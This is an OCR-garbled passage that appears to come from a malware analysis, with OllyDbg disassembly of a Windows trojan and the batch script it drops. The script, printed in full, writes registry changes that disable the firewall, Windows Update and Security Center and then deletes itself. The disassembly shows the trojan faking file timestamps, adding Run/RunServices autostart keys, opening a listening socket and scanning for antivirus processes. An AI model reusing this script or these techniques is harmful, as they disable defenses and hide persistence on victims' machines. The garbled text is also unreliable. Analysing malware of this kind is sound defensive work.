[HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters|>>%temp%\1.reg

Echo "TransportBindName"="">>%temp%\1.reg
Echo.>>%temp%\1.reg

Echo [HKEY LOCAL MA"...

0040A027 |. 8DBD AOE7FFFF lea edi,dword ptr ss:[ebp-1860] ; REACEE 2

0040A02D |. 8D85 ASFEFFFF lea eax,dword ptr ss:[ebp-158]

0040A033 | F3:AS rep movs dword ptr es:[edi],dword ptr ds:[esi]

0040A035 |. 66:A5 movs word ptr es:[edi],word ptr ds:[esi]

0040A037 |. 68 34A04200 push 3.0042A034 ; ASCII "c:\a.bat"
0040A03C |. 50 push eax ; ARACFE A R R A
0040A03D |. A4 movs byte ptr es:[edi],byte ptr ds:[esi]

0040A03E |. E8 02CE0000 call 3.00416E45

0040A043 |. 59 pop ecx

0040A044 |. 33F6 Xor esi,esi

0040A046 |. 59 pop ecx

0040A047 |. 8D85 ASFEFFFF lea eax,dword ptr ss:[ebp-158]

0040A04D |. 56 push esi ; /hTemplateFile => NULL
0040A04E |. 56 push esi ; |Attributes => 0
0040A04F 6A 02 push 2 ; Mode =



CREATE ALWAYS

push esi
push esi
push 40000000

push eax
call dword ptr ds:[<&KERNEL32.CreateFileA>]
mov edi,eax
cmp edi,esi
jbe short 3.0040A0C8
lea eax,dword ptr ss:[ebp-4]
push esi
push eax
lea eax,dword ptr ss:[ebp-1860]
push eax
call 3.00417640
pop ecx
push eax
lea eax,dword ptr ss:[ebp-1860]
push eax
push edi
call dword ptr ds:[<&KERNEL32. WriteFile>]
push edi
call dword ptr ds:[<&KERNEL32.CloseHandle>]
push 44
lea eax,dword ptr ss:[ebp-48]
pop edi
push edi
push esi
push eax
call 3.00416ECO
add esp,0C
lea ecx,dword ptr ss:[ebp-58]
mov dword ptr ss:[ebp-48],edi
mov word ptr ss:[ebp-18],si
push 1
pop eax
push ecx
lea ecx,dword ptr ss:[ebp-48]
push ecx
push esi
push esi
push 28

DETACHED PROCESS[NORMAL PRIORITY CLASS

0040A051 |. 56

0040A052 |. 56

0040A053 |. 68 00000040
GENERIC_WRITE
0040A058 |. 50

0040A059 |. FF15 70104200
0040A05F | 8BF8
0040A061 |. 3BFE
0040A063 |. 7663
0040A065 |. 8D45 FC
0040A068 |. 56
0040A069 |. 50
0040A06A |. 8D85 AOE7FFFF
0040A070 |. 50

0040A071 |. E8 CAD50000
0040A076 |. 59

0040A077 |. 50

0040A078 |. 8D85 AOE7FFFF
0040A07E |. 50
0040A07F |. 57

0040A080 |. FF15 68104200
0040A086 |. 57

0040A087 |. FF156C104200
0040A08D |. 6A 44
0040A08F | 8D45 B8
0040A092 |. 5F

0040A093 |. 57

0040A094 |. 56

0040A095 |. 50

0040A096 |. E825CE0000
0040A09B |. 83C40C
0040A09E |. 8D4D A8
0040A0A1 |. 897D BS
0040A0A4 |. 66:8975 E8
0040A0A8 |. 6A01
0040A0AA |. 58
0040A0AB | 51
0040A0AC |. 8D4D B8
0040A0AF | 51
0040A0B0 |. 56

0040A0B1 | 56
0040A0B2 | G6A 28
0040A0B4 |. 8945 E4
0040A0B7 |. 50
0040A0B8 |. 56

NULL

0040A0B9 | 8D85 ASFEFFFF
0040A0BF |. 56

NULL

0040A0C0O | 50

mov dword ptr ss:[ebp-1C],eax
push eax
push esi

lea eax,dword ptr ss:[ebp-158]
push esi

push eax

; IpSecurity => NULL
; |ShareMode => 0

; |Access =

; |[FileName
; \CreateFileA
; Qi3 abat

;|
; InBytesToWrite

; |Buffer
; |hFile
; \WriteFile
VICUNGE
; \CloseHandle

; /pProcessinfo
; [pStartupInfo
; |CurrentDir => NULL

; [pEnvironment => NULL
; |CreationFlags =

; [InheritHandles => TRUE
; [pThreadSecurity =>

; [pProcessSecurity =>

; |[CommandLine



0040A0C1 |. 56 push esi ; IModuleFileName =>
NULL

0040A0C2 |. FF1508114200 call dword ptr ds:[<&KERNEL32.CreateProcessA>] ; \CreateProcessA

0040A0C8 > S5F pop edi ;LR MR AL 2R
A

0040A0C9 |. SE pop esi

0040A0CA |. C9 leave

0040A0CB \. C3 retn

HEALBE N A

@echo off

Echo REGEDIT4>%temp%\1.reg

Echo.>>%temp%\1.reg

Echo [HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters|>>%temp%\1.reg
Echo "TransportBindName"="">>%temp%\1.reg

Echo.>>%temp%\1.reg

Echo [HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess]>>%temp%\1.reg
Echo "Start"=dword:00000004>>%temp%\1.reg

Echo.>>%temp%\1.reg

Echo [HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv]>>%temp%\1.reg
Echo "Start"=dword:00000004>>%temp%\1.reg

Echo.>>%temp%\1.reg

Echo [HKEY LOCAL MACHINE\SYSTEM\ControlSet001\Services\wscsvc|>>%temp%\1.reg

Echo "Start"=dword:00000004>>%temp%\1.reg

Echo.>>%temp%\1.reg

Echo [HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg

Echo "EnableDCOM"="N">>%temp%\1.reg

Echo "EnableRemoteConnect"="N">>%temp%\1.reg

Echo.>>%temp%\1.reg

Echo [HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>%temp%\1.reg

Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg

Echo.>>%temp%\1.reg

Echo

[HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\PCT1.0\Server|>>%
temp%\1.reg

Echo "Enabled"=hex:00>>%temp%\1.reg

Echo.>>%temp%\1.reg

Echo [HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters|>>%temp%\1.reg
Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg

Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg

Echo.>>%temp%\1.reg

Echo [HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|>>%temp%\1.reg
Echo "NameServer"="">>%temp%\1.reg

Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg

Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg

Echo "Domain"="">>%temp%\1.reg

Echo "SearchList"="">>%temp%\1.reg

Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg

Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg

Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg

Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg

Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg



Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg
Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg

Echo "TCP13200pts"=dword:00000003>>%temp%\1.reg

Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg

Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg

Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg

Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg

Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg
Echo "LargeBufterSize"=dword:00001000>>%temp%\1.reg

Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg

Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg
Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg

Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg
Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg
Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg
Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg

Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg

Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg

Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg

Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg
Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg

Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg

Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg

Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg
Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg
Echo "LargeBufterListDepth"=dword:0000000a>>%temp%\1.reg

Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg
Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg

Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg
Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg

Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg

Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg

Echo
=hex(7):31,00,00,00,32,00,00,00,32,00,00,00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1 .reg
Echo "DefaultRegistration TTL"=dword:00000014>>%temp%\1.reg
Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\1.reg
Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\1.reg
Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg

Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg

Echo "QuerylpMatching"=dword:00000000>>%temp%\1.reg

Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg
Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg

Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg
Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg

Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg

Echo "SackOpts"=dword:00000001>>%temp%\1.reg

Echo "Tcp13230pts"=dword:00000003>>%temp%\1.reg

Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg

Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg

Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg

Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg

Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg

"DNSQueryTimeouts"



Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg

Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg
Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg

Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg
Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg

Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg
Echo "MaxForwardBufferMemory"=dword:00019d{7>>%temp%\1.reg
Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg

Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg
Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg
Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg

Echo.>>%temp%\1.reg
Echo

Echo "MaxConnectionsPerl 0Server"=dword:00000050>>%temp%\1.reg
Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg

Echo.>>%temp%\1.reg

START /WAIT REGEDIT /S %temp%\1.reg

DEL %temp%\1.reg
DEL %0

[HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings]>>%temp%\1.reg

KRENHED OIS, SCOLE R3), BUOERNBIOERL, BECM &R, Bouts, BEGEMERREK, 2 LiETIT.

—.. B4 winlogin.exe U [A]

00409DCO /55

00409DC1 |. 8BEC
00409DC3 |. 81EC 1C010000
00409DC9 | 53

00409DCA |. 56

00409DCB |. 33F6
00409DCD |. 57

00409DCE |. 8D85 E4FEFFFF

00409DD4 |. 56
00409DD5 |. 50

00409DD6 |. 68 04010000
00409DDB | 56
00409DDC | 68 A89F4200
00409DEl |. 56

00409DE2 |. FF15 145B4400
00409DE8 |. 85C0
00409DEA |. 7473
00409DEC |. BF 80000000

00409DF1 |. 56
00409DF2 |. 57
00409DF3 |  6A 03
OPEN_EXISTING
00409DF5 |. 56

00409DF6 |. 8B35 70104200
00409DFC  |. 6A 01
FILE_SHARE_READ
00409DFE |. 8D85 E4FEFFFF
00409E04 |. 68 00000080

push ebp
mov ebp,esp

sub esp,11C

push ebx

push esi

Xor esi,esi

push edi

lea eax,dword ptr ss:[ebp-11C]

push esi

push eax
push 104

push esi

push 3.00429FA8
push esi

call dword ptr ds:[445B14]
test eax,eax
je short 3.00409ESF
mov edi,80

push esi

push edi

push 3

push esi
mov esi,dword ptr ds:[<&KERNEL32.CreateFileA>]
push 1

lea eax,dword ptr ss:[ebp-11C]
push 80000000

B

; ASCII "explorer.exe"

kernel32.SearchPathA

; /hTemplateFile => NULL
; |Attributes => NORMAL
; Mode =

; IpSecurity => NULL
; [kernel32.CreateFileA
; |ShareMode

; |Access



GENERIC_READ
00409E09 |. 50
00409E0A |. FFD6
00409E0C |. 8BDS
00409EOE |. 83FBFF
00409E11 |. 744C
00409E13 |. 8D45 ES8
00409E16 |. 50
00409E17 |. 8D45 F8
00409E1A |. 50
00409E1B |. 8D45F0
00409E1E |. 50
00409E1F |. 53
00409E20 |. FF15 00104200
00409E26 |. 53

00409E27 |. 8BI1D 6C104200

00409E2D |. FFD3
00409E2F |. 6A 00
00409E31 |. 57
00409E32 |. 6A 03
OPEN_EXISTING
00409E34 |. 6A00

00409E36 |. 6A 02
FILE_SHARE_WRITE
00409E38 |. 68 00000040

GENERIC WRITE
00409E3D |. FF7508

00409E40 |. FFD6
00409E42 |. 8BFO
00409E44 |. 83FEFF
00409E47 |. 7416
00409E49 |. 8D45 ES8

00409E4C |. 50
00409E4D |. 8D45F8

00409E50 |. 50

00409E51 |. 8D45 FO
00409E54 |. 50

00409E55 |. 56

00409E56 |. FF15 04114200

00409E5C | 56
00409ESD |. FFD3
00409ESF |> SF

00409E60 |. 5E
00409E61 |. 5B
00409E62 |. C9
00409E63 \. C3

push eax ; [FileName
call esi ; \CreateFileA
mov ebx,eax
cmp ebx,-1
je short 3.00409E5F
lea eax,dword ptr ss:[ebp-18]
push eax ; /[pLastWrite
lea eax,dword ptr ss:[ebp-8] N
push eax ; [pLastAccess
lea eax,dword ptr ss:[ebp-10] 5]
push eax ; [pCreationTime
push ebx ; |hFile
call dword ptr ds:[<&KERNEL32.GetFileTime>] ; \13 2 exeplorer.exe i [H]
push ebx ; /hObject
mov ebx,dword ptr ds:[<&KERNEL32.CloseHandle>] ; |kernel32.CloseHandle
call ebx ; \CloseHandle
push 0 ; /hTemplateFile = NULL
push edi ; |Attributes => NORMAL
push 3 ; Mode =
push 0 ; [pSecurity = NULL
push 2 ; |ShareMode =
push 40000000 ; |Access =
push dword ptr ss:[ebp+8] ; [FileName
call esi ; \CreateFileA
mov esi,eax
cmp esi,-1
je short 3.00409ESF
lea eax,dword ptr ss:[ebp-18]
push eax ; /[pLastWrite
lea eax,dword ptr ss:[ebp-8] 3
push eax ; [pLastAccess
lea eax,dword ptr ss:[ebp-10] N
push eax ; [pCreationTime
push esi ; |hFile
call dword ptr ds:[<&KERNEL32.SetFileTime>] 5 L [ I ]
push esi ; /hObject
call ebx ; \CloseHandle
pop edi
pop esi
pop ebx
leave

retn

= QIEEMER, KILA R

0040B485 / 55
0040B486 |. 8BEC
0040B488 |. 51
0040B489 |. 53

push ebp

mov ebp,esp
push ecx
push ebx



0040B48A |.
0040B48B |.
0040B48C |
0040B491 |.

0040B493 |
Not-A-Virus"

0040B498 |>
0040B49B |.
0040B49C |.
0040B49D |.
0040B49E |.

0040B4A3 |
0040B4A4 |
0040B4A5 |.
0040B4A6 |
0040B4A9 |
0040B4AB

56

57

BF E0BD4200
33F6

BB 24D54200

&8D45 FC

56

50

56

68 3FO000F00
56

56

56

FF77 04
FF37

| FF15 0C5A4400

advapi32.RegCreateKeyExA

0040B4B1
0040B4B4
0040B4B6
0040B4B9
0040B4BE  |.
0040B4BF  |.
0040B4CO |
0040B4C3 |
0040B4C5  |.
0040B4C6 |
0040B4C7 |
0040B4CA

3975 08
74 1C
FF75 08
E8 82C10000
59

50

FF75 08
6A 01
56

53

FF75 FC

|.  FF15 7C5A4400

advapi32.RegSetValueExA

0040B4D0  |.

EB 0A

0040B4D2 > 53

0040B4D3  |.
0040B4D6  |.

FF75 FC
FF15 C4594400

0040B4DC |» FF75FC

0040B4DF  |.
0040B4E5 |.
0040B4E8 |.

FF15 345A4400
83C7 08
81FF F8BD4200

0040B4EE |~ 7C A8

0040B4F0
0040B4F1
0040B4F2
0040B4F3

|.
|.
|.
|.
0040B4F4 \.

SF
SE
5B
C9
C3

0040B4F5 > FF7424 04

0040B4F9
0040B4FE
0040B4FF
0040B505
0040B50B
0040B50D /.

E8 87FFFFFF

59

FF35 D8BD4200
FF15 5C104200

"~ EB E8

8B4424 08

push esi
push edi
mov edi,3.0042BDEO
Xor esi,esi
mov ebx,3.0042D524 ; ASCII "Adsl

/lea eax,dword ptr ss:[ebp-4]
|[push esi
|[push eax
[push esi
|[push OFO03F
[push esi
[push esi
[push esi
|[push dword ptr ds:[edi+4]
[push dword ptr ds:[edi]
|call dword ptr ds:[445A0C] ;

|cmp dword ptr ss:[ebp+8],esi s AR
lje short 3.0040B4D2

|[push dword ptr ss:[ebp+8]

|call 3.00417640

[pop ecx

|[push eax

|[push dword ptr ss:[ebp+8]

|[push 1

|[push esi

|[push ebx

|[push dword ptr ss:[ebp-4]

|call dword ptr ds:[445A7C] ;

[imp short 3.0040B4DC ; WCEE MR
|[push ebx
|[push dword ptr ss:[ebp-4]
|call dword ptr ds:[4459C4] ; advapi32.RegDeleteValueA
Ipush dword ptr ss:[ebp-4] 5 BRI
|call dword ptr ds:[445A34] ; advapi32.RegCloseKey
ladd edi,8 s RHEMR
|cmp edi,3.0042BDF8
\jl short 3.0040B498 5 BRSNS M R T
pop edi
pop esi
pop ebx
leave

retn
push dword ptr ss:[esp+4]
call 3.0040B485

pop ecx
push dword ptr ds:[42BDDS8] ; /Timeout = 120. ms
call dword ptr ds:[<&KERNEL32.Sleep>] ; \Sleep

jmp short 3.0040B4F5
mov eax,dword ptr ss:[esp+8]



0040B511 |. 8B5424 04
0040B515 |. 56
0040B516 |. 83CE FF
0040B519 |. 85CO
0040B51B |. 7425
0040B51D | 53
0040BS1E | 57
0040B51F |. 8D38
0040B521 |. B9 FF000000
0040B526 |> 8A02
0040B528 |. S8BDE
0040B52A |. 23Cl
0040B52C |. 23D9
0040B52E | 33C3
0040B530 |. CIEE 08
0040B533 |. 8B0485 10124200
0040B53A |. 33F0
0040B53C |. 42
0040B53D | 4F
0040BS3E  |.A 75 E6
0040B540 |. SF
0040B541 |. 5B
0040B542 |> 8BC6
0040B544 |. SE
0040B545 |. F7D0
0040B547 \. C3

e R G AV MR A T 13-

mov edx,dword ptr ss:[esp+4]
push esi
or esi, FFFFFFFF
test eax,eax
je short 3.0040B542
push ebx
push edi
lea edi,dword ptr ds:[eax]
mov ecx,0FF
/mov al,byte ptr ds:[edx]
|[mov ebx,esi
l]and eax,ecx
land ebx,ecx
[xor eax,ebx
|shr esi,8
|mov eax,dword ptr ds:[eax*4+421210]
[xor esi,eax
linc edx
|dec edi
\jnz short 3.0040B526
pop edi
pop ebx
mov eax,esi
pop esi
not eax

retn

(1):Software\Microsoft\Windows\CurrentVersion\Run
(2):Software\Microsoft\Windows\CurrentVersion\RunServices
(3):Software\Microsoft\OLE

UE A SR S 1T AL B 5 2

U, JERGLRE AL, IFSEIUAH N, B34

0040C917 /.
0040C918 |.
0040C91A |
0040C920
0040C921
0040C922
0040C923
0040C925
0040C926
0040C928
0040C929
0040C92C |.
0040C92D |.
0040C92E |.
0040C931 |.
0040C936 |

55

8BEC

81EC 38020000
53

56

57

6A 10

SF

33F6

57

&D45 E4

56

50

8975 F8

E8 8AA50000
83C4 0C

push ebp
mov ebp,esp
sub esp,238
push ebx
push esi
push edi
push 10
pop edi
Xor esi,esi
push edi
lea eax,dword ptr ss:[ebp-1C]
push esi
push eax
mov dword ptr ss:[ebp-8],esi
call 3.00416ECO
add esp,0C



0040C939
0040C93F
0040C941
0040C947
0040C948
0040C94A
0040C94C
0040C950
0040C953
0040C959
0040C95B
0040C95E
0040C964
0040C967
0040C968
0040C96E
0040C974
0040C977
0040C978
0040C979
0040C97F
0040C982
0040C988
0040C98A
0040C98B
0040C991
0040C994
0040C99A
0040C99D
0040C9A2
0040C9A5
0040C9A6
0040C9A9
0040C9AA
0040C9AB
0040C9B1
0040C9B4
0040C9B7
0040C9BD
0040C9Cl1
0040C9C2
0040C9C5
0040C9CB

0040C9CC
0040C9D2
0040C9D7
0040C9D8
0040C9DD
0040C9E3
0040C9E4
0040C9E9

66:C745 E4 0200
6A 71
FF15 585A4400
56
6A 01
6A 02
66:8945 E6
8975 E8
FF15 D85A4400
&BD8
83FB FF
0F84 14010000
&B45 08
57
69C0 34020000
8998 BCB44400
&D45 E4
50
53
FF15 845A4400
83F8 FF
0F84 F0000000
6A 05
53
FF15 805A4400
83F8 FF
0F84 DE000000
897D F4
BF 00020000
8D45 F4
50
&8D45 D4
50
53
FF15 EC5A4400
83F8 FF
8945 FC
0F84 B6000000
0FB745 D6
50
FF75 D8
FF15 E45A4400
50

&8D85 C8FDFFFF
68 88C54200

50

E8 68A40000
8D85 C8FDFFFF
50

E8 8DESFFFF
83C4 14

mov word ptr ss:[ebp-1C],2
push 71
call dword ptr ds:[445A58] ;
push esi

ws2_32.ntohs

push 1

push 2

mov word ptr ss:[ebp-1A],ax

mov dword ptr ss:[ebp-18],esi
call dword ptr ds:[445AD8]

mov ebx,eax

; ws2_32.socket

cmp ebx,-1
je 3.0040CA78
mov eax,dword ptr ss:[ebp+8§]
push edi
imul eax,eax,234
mov dword ptr ds:[eax+44B4BC],ebx
lea eax,dword ptr ss:[ebp-1C]
push eax
push ebx
call dword ptr ds:[445A84] ;
cmp eax,-1
je 3.0040CA78
push 5

ws2_32.bind
;RGN

push ebx

call dword ptr ds:[445A80]
cmp eax,-1 :
je 3.0040CA78

mov dword ptr ss:[ebp-C],edi

mov edi,200

/lea eax,dword ptr ss:[ebp-C]

; ws2_32.listen

T

|[push eax
[lea eax,dword ptr ss:[ebp-2C]

|[push eax
|[push ebx

|call dword ptr ds:[445AEC] ; ws2_32.accept
lcmp eax,-1 s JFIRE

|mov dword ptr ss:[ebp-4],eax
lje 3.0040CA73
|[movzx eax,word ptr ss:[ebp-2A]
|[push eax
|[push dword ptr ss:[ebp-28]
|call dword ptr ds:[445AE4] ;
|[push eax

ws2_32.inet_ntoa
;P Hihik: 32.192.80.129

[lea eax,dword ptr ss:[ebp-238]
[push 3.0042C588
|[push eax
|call 3.00416E45
[lea eax,dword ptr ss:[ebp-238]
|[push eax
|call 3.0040B276
ladd esp,14



0040C9EC
0040C9F2

0040C9F3

0040C9F4

0040C9F5

0040C9F8

0040C9FE
0040CA01

0040CA03
0040CA09
0040CAOA
0040CAOB
0040CA10
0040CA12
0040CA15
0040CA16
0040CA17
0040CA1C
0040CA1D
0040CA1E
0040CA21

0040CA23
0040CA24
0040CA29
0040CA2A
UNIX : %s
0040CA2F
0040CA35
0040CA36
0040CA37
0040CA3C
0040CA3F
0040CA45
0040CA46
0040CA47
0040CA4C
0040CA4D
0040CA4E
0040CA54
0040CASS
0040CAS8
0040CASE
0040CA61

0040CA67
0040CAG6E
0040CA73

0040CA76
0040CA78

8D85 C8FDFFFF
56

57

50

FF75 FC

FF15 705A4400
83F8 FF

A 74 9F

&8D85 C8FDFFFF
56

50

E8 9CDOFFFF
6A 0C

&D45 C8

56

50

E8 A4A40000
56

56

&D45 C8

6A 02

50

E& 24830000
50

68 70C54200

8D85 C8FDFFFF
57

50

E8 7EA90000
83C4 34

8D85 C8FDFFFF
56

50

E8 F4AB0000

59

50

8D85 C8FDFFFF
50

FF75 FC

FF15 A85A4400
83F8 FF

|~ OF84 3BFFFFFF
C745 F8 01000000

. E9 2FFFFFFF
> 3975F8

7527

FF15 EC594400

ws2_32.WSAGetLastError

0040CA7TE
0040CA7F

50
8D85 C8FDFFFF

[lea eax,dword ptr ss:[ebp-238]
[push esi
[push edi
|[push eax
|[push dword ptr ss:[ebp-4]
|call dword ptr ds:[445A70]
|cmp eax,-1
je short 3.0040C9A2
[lea eax,dword ptr ss:[ebp-238]
[push esi
|[push eax
|call 3.00409AAC
|[push 0C
[lea eax,dword ptr ss:[ebp-38]
[push esi
|[push eax
|call 3.00416ECO
|[push esi
|[push esi
[lea eax,dword ptr ss:[ebp-38]
|[push 2
|[push eax
|call 3.00414D4D
|[push eax
[push 3.0042C570

[lea eax,dword ptr ss:[ebp-238]
[push edi
|[push eax
|call 3.004173BA
ladd esp,34
[lea eax,dword ptr ss:[ebp-238]
[push esi
|[push eax
|call 3.00417640
[pop ecx
|[push eax
[lea eax,dword ptr ss:[ebp-238]
[push eax
|[push dword ptr ss:[ebp-4]
|call dword ptr ds:[445AA8]
|cmp eax,-1
lje 3.0040C9A2
|[mov dword ptr ss:[ebp-8],1
\jmp 3.0040C9A2
cmp dword ptr ss:[ebp-8],esi
jnz short 3.0040CA9F

call dword ptr ds:[4459EC]

push eax
lea eax,dword ptr ss:[ebp-238]

b

b

ws2 32.recv

>

Bl s

; ASCII " : USERID :

ws2 32.send



0040CAS85
0040CASA
0040CAS8B
0040CA90
0040CA96
0040CA97
0040CA9C
0040CA9F
0040CAA0
0040CAA6
0040CAA9
0040CAAF
0040CAB2
0040CAB7
0040CABS
0040CAB9

|>

.
.
.
\

68 2CC54200

50

E8 B5A30000
&8D85 C8FDFFFF
50
E8 DAE7FFFF
83C4 10

53

FF15 FO5A4400
FF75 FC

FF15 FO5A4400
FF75 08

E8 56A10000
59

56

FF15 4C104200

Tiv AR H bR

00414926
00414927
00414929
0041492B
0041492C
0041492D
0041492E
0041492F
00414930
00414935
00414938
0041493E
00414944

004145E2
004145E3
004145E5
004145EB
004145EC
004145ED
004145EE
004145F0
004145F2
004145F3
004145F5
004145FB
00414601
00414607
00414609
0041460E
00414614
0041461A

56

33F6

6A 01

56

56

56

56

56
E8 ADFCFFFF
83C4 18
FF35 A86D4300
FF15 5C104200

~EB E3

55

8BEC

81EC 54050000
53

56

57

6A 49

33DB

59

33C0

391D 785A4400
8DBD D4FEFFFF
899D DOFEFFFF
F3:AB

B9 88000000
8DBD BOFCFFFF
899D ACFCFFFF
F3:AB

push 3.0042C52C
push eax
call 3.00416E45
lea eax,dword ptr ss:[ebp-238]
push eax
call 3.0040B276
add esp,10
push ebx
call dword ptr ds:[445AF0]
push dword ptr ss:[ebp-4]
call dword ptr ds:[445AF0]
push dword ptr ss:[ebp+8]
call 3.00416C0D
pop ecx
push esi

call dword ptr ds:[<&KERNEL32.ExitThread>]

push esi

XOr esi,esi

push 1

push esi

push esi

push esi

push esi

push esi

call 3.004145E2

add esp,18

push dword ptr ds:[436DAS]
call dword ptr ds:[<&KERNEL32.Sleep>]
jmp short 3.00414929

push ebp
mov ebp,esp
sub esp,554
push ebx
push esi
push edi
push 49
xor ebx,ebx
pop ecx
XOr eax,eax
cmp dword ptr ds:[445A78],ebx
lea edi,dword ptr ss:[ebp-12C]
mov dword ptr ss:[ebp-130],ebx
rep stos dword ptr es:[edi]
mov ecx,88
lea edi,dword ptr ss:[ebp-350]
mov dword ptr ss:[ebp-354],ebx
rep stos dword ptr es:[edi]

b

b

ws2_32.closesocket

ws2_32.closesocket

; /ExitCode
; \ExitThread

s BUEERE3ORD R H bl

;. KHEE CALL

; /Timeout = 30000. ms
; \Sleep



0041461C |. O0F84 BF010000
00414622 |. 391D 5C5A4400
00414628 |. O0F84 B3010000
0041462E |. 391D 78594400
00414634 |. 0F84 A7010000
0041463A |. 6A01

0041463C |. 68 D8934200
00414641 |. E8 31FFFFFF
00414646 |. 59

00414647 |. 59

00414648 |. 53

00414649 |. O6AOF

0041464B |. FF15 785A4400
kernel32.CreateToolhelp32Snapshot
00414651 |. 8BF8

00414653 |. 83FF FF
00414656 |. 897D F8
00414659 |. 0F84 75010000
0041465F |. 8D85 DOFEFFFF
00414665 |

0041466F |. 50

00414670 |. 57

00414671 |. FF155C5A4400
00414677 |. 8B356C104200
0041467D |. 85CO0

0041467F |. 0F84 4A010000
00414685 |. 8DS85 DOFEFFFF
0041468B |. 50

0041468C |. 57

0041468D |. FF15 78594400
00414693 |. 85C0

00414695 |. 0F84 34010000
0041469B |. 8B3D E4104200
004146A1 |. BB FFOFIF00
004146A6 |> 33C0

004146A8 |. 394518
004146AB |. 7460
004146AD |. C745FC AC6D4300
004146B4 |> 8B45FC
004146B7 |. FF30
"ALERTSVC.EXE"

004146B9 |. 8D85 FAFEFFFF
004146BF |. 50

004146C0 |. FF15 64114200
004146C6 |. 85CO0

LETR IR

004146C8 |. 7412

004146CA |. 8345FC 04
004146CE |. 817D FC 6C774300
004146D5 |~ 7C DD
004146D7 |. E9 D9000000
004146DC |> FFB5 DSFEFFFF

je 3.004147E1

cmp dword ptr ds:[445A5C],ebx
je 3.004147E1

cmp dword ptr ds:[445978],ebx
je 3.004147E1

push 1

push 3.004293D8

call 3.00414577
pop ecx
pop ecx
push ebx
push OF

call dword ptr ds:[445A78]

mov edi,eax
cmp edi,-1

mov dword ptr ss:[ebp-8],edi

je 3.004147D4

lea eax,dword ptr ss:[ebp-130]

C785 DOFEFFFF 2801>mov dword ptr ss:[ebp-130],128

push eax

push edi

call dword ptr ds:[445A5C]

mov esi,dword ptr ds:[<&KERNEL32.CloseHandle>]
test eax,eax

je 3.004147CF
lea eax,dword ptr ss:[ebp-130]

push eax

push edi

call dword ptr ds:[445978]

test eax,eax
